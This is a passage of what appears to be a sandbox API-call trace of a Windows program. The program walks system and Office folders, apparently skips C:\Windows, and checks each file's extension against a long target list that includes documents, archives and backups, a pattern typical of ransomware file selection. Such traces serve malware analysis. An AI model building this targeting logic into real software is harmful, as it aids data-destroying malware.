nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.140] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.140] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.140] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.140] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0033.140] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.140] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.140] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.140] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.140] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.140] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.140] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0033.141] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.141] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.141] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.141] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.141] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.141] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.141] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0033.141] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.141] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.141] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.141] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.141] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.141] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.141] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0033.142] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.142] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.142] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.142] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.142] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.142] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.142] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0033.142] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.142] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.142] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.142] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.142] FindClose (in: hFindFile=0x312df0 | out: hFindFile=0x312df0) returned 1 [0033.142] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x38e06d0 | out: hHeap=0x220000) returned 1 [0033.142] FindNextFileW (in: hFindFile=0x311da8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0033.143] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x38e06d0 [0033.143] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x312df0 [0033.748] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.748] FindNextFileW (in: hFindFile=0x312df0, lpFindFileData=0x33bf808 | out: lpFindFileData=0x33bf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.118] FindNextFileW (in: hFindFile=0x3eb20c8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.118] FindNextFileW (in: hFindFile=0x3eb20c8, lpFindFileData=0x33bfa84 | out: lpFindFileData=0x33bfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0034.639] FindNextFileW (in: hFindFile=0x3eb2288, lpFindFileData=0x33bf094 | out: lpFindFileData=0x33bf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.640] FindNextFileW (in: hFindFile=0x3eb2288, lpFindFileData=0x33bf094 | out: lpFindFileData=0x33bf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0034.640] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us") returned 1 [0034.640] lstrlenW (lpString="Access.en-us") returned 12 [0034.640] lstrcmpiW (lpString1="C:\\Windows", lpString2="Access.en-us") returned 1 [0034.640] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x3eb3298 [0034.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us") returned 92 [0034.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3eb2308 [0034.641] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.641] FindNextFileW (in: hFindFile=0x3eb2308, lpFindFileData=0x33bee18 | out: lpFindFileData=0x33bee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0034.641] lstrlenW (lpString="AccessMUI.XML") returned 13 [0034.641] lstrlenW (lpString=".1cd") returned 4 [0034.641] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0034.641] lstrlenW (lpString=".3ds") returned 4 [0034.641] lstrcmpiW (lpString1=".3ds", lpString2=".XML") returned -1 [0034.641] lstrlenW (lpString=".3fr") returned 4 [0034.641] lstrcmpiW (lpString1=".3fr", lpString2=".XML") returned -1 [0034.641] lstrlenW (lpString=".3g2") returned 4 [0034.641] lstrcmpiW (lpString1=".3g2", lpString2=".XML") returned -1 [0034.641] lstrlenW (lpString=".3gp") returned 4 [0034.641] lstrcmpiW (lpString1=".3gp", lpString2=".XML") returned -1 [0034.642] lstrlenW (lpString=".7z") returned 3 [0034.642] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0034.642] lstrlenW (lpString=".accda") returned 6 [0034.642] lstrcmpiW (lpString1=".accda", lpString2="UI.XML") returned -1 [0034.642] lstrlenW (lpString=".accdb") returned 6 [0034.642] lstrcmpiW (lpString1=".accdb", lpString2="UI.XML") returned -1 [0034.642] lstrlenW (lpString=".accdc") returned 6 [0034.642] lstrcmpiW (lpString1=".accdc", lpString2="UI.XML") returned -1 [0034.642] lstrlenW (lpString=".accde") returned 6 [0034.642] lstrcmpiW (lpString1=".accde", lpString2="UI.XML") returned -1 [0034.642] lstrlenW (lpString=".accdt") returned 6 [0034.642] lstrcmpiW (lpString1=".accdt", lpString2="UI.XML") returned -1 [0034.642] lstrlenW (lpString=".accdw") returned 6 [0034.642] lstrcmpiW (lpString1=".accdw", lpString2="UI.XML") returned -1 [0034.642] lstrlenW (lpString=".adb") returned 4 [0034.642] lstrcmpiW (lpString1=".adb", lpString2=".XML") returned -1 [0034.642] lstrlenW (lpString=".adp") returned 4 [0034.642] lstrcmpiW (lpString1=".adp", lpString2=".XML") returned -1 [0034.642] lstrlenW (lpString=".ai") returned 3 [0034.643] lstrcmpiW (lpString1=".ai", lpString2="XML") returned -1 [0034.643] lstrlenW (lpString=".ai3") returned 4 [0034.643] lstrcmpiW (lpString1=".ai3", lpString2=".XML") returned -1 [0034.643] lstrlenW (lpString=".ai4") returned 4 [0034.643] lstrcmpiW (lpString1=".ai4", lpString2=".XML") returned -1 [0034.643] lstrlenW (lpString=".ai5") returned 4 [0034.643] lstrcmpiW (lpString1=".ai5", lpString2=".XML") returned -1 [0034.643] lstrlenW (lpString=".ai6") returned 4 [0034.643] lstrcmpiW (lpString1=".ai6", lpString2=".XML") returned -1 [0034.643] lstrlenW (lpString=".ai7") returned 4 [0034.643] lstrcmpiW (lpString1=".ai7", lpString2=".XML") returned -1 [0034.643] lstrlenW (lpString=".ai8") returned 4 [0034.643] lstrcmpiW (lpString1=".ai8", lpString2=".XML") returned -1 [0034.643] lstrlenW (lpString=".anim") returned 5 [0034.643] lstrcmpiW (lpString1=".anim", lpString2="I.XML") returned -1 [0034.643] lstrlenW (lpString=".arw") returned 4 [0034.643] lstrcmpiW (lpString1=".arw", lpString2=".XML") returned -1 [0034.643] lstrlenW (lpString=".as") returned 3 [0034.643] lstrcmpiW (lpString1=".as", lpString2="XML") returned -1 [0034.643] lstrlenW (lpString=".asa") returned 4 [0034.644] lstrcmpiW (lpString1=".asa", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".asc") returned 4 [0034.644] lstrcmpiW (lpString1=".asc", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".ascx") returned 5 [0034.644] lstrcmpiW (lpString1=".ascx", lpString2="I.XML") returned -1 [0034.644] lstrlenW (lpString=".asm") returned 4 [0034.644] lstrcmpiW (lpString1=".asm", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".asmx") returned 5 [0034.644] lstrcmpiW (lpString1=".asmx", lpString2="I.XML") returned -1 [0034.644] lstrlenW (lpString=".asp") returned 4 [0034.644] lstrcmpiW (lpString1=".asp", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".aspx") returned 5 [0034.644] lstrcmpiW (lpString1=".aspx", lpString2="I.XML") returned -1 [0034.644] lstrlenW (lpString=".asr") returned 4 [0034.644] lstrcmpiW (lpString1=".asr", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".asx") returned 4 [0034.644] lstrcmpiW (lpString1=".asx", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".avi") returned 4 [0034.644] lstrcmpiW (lpString1=".avi", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".avs") returned 4 [0034.644] lstrcmpiW (lpString1=".avs", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".backup") returned 7 [0034.644] lstrcmpiW (lpString1=".backup", lpString2="MUI.XML") returned -1 [0034.644] lstrlenW (lpString=".bak") returned 4 [0034.644] lstrcmpiW (lpString1=".bak", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".bay") returned 4 [0034.644] lstrcmpiW (lpString1=".bay", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".bd") returned 3 [0034.644] lstrcmpiW (lpString1=".bd", lpString2="XML") returned -1 [0034.644] lstrlenW (lpString=".bin") returned 4 [0034.644] lstrcmpiW (lpString1=".bin", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".bmp") returned 4 [0034.644] lstrcmpiW (lpString1=".bmp", lpString2=".XML") returned -1 [0034.644] lstrlenW (lpString=".bz2") returned 4 [0034.645] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".c") returned 2 [0034.645] lstrcmpiW (lpString1=".c", lpString2="ML") returned -1 [0034.645] lstrlenW (lpString=".cdr") returned 4 [0034.645] lstrcmpiW (lpString1=".cdr", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".cer") returned 4 [0034.645] lstrcmpiW (lpString1=".cer", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".cf") returned 3 [0034.645] lstrcmpiW (lpString1=".cf", lpString2="XML") returned -1 [0034.645] lstrlenW (lpString=".cfc") returned 4 [0034.645] lstrcmpiW (lpString1=".cfc", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".cfm") returned 4 [0034.645] lstrcmpiW (lpString1=".cfm", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".cfml") returned 5 [0034.645] lstrcmpiW (lpString1=".cfml", lpString2="I.XML") returned -1 [0034.645] lstrlenW (lpString=".cfu") returned 4 [0034.645] lstrcmpiW (lpString1=".cfu", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".chm") returned 4 [0034.645] lstrcmpiW (lpString1=".chm", lpString2=".XML") returned -1 [0034.645] lstrlenW (lpString=".cin") returned 4 [0034.645] lstrcmpiW 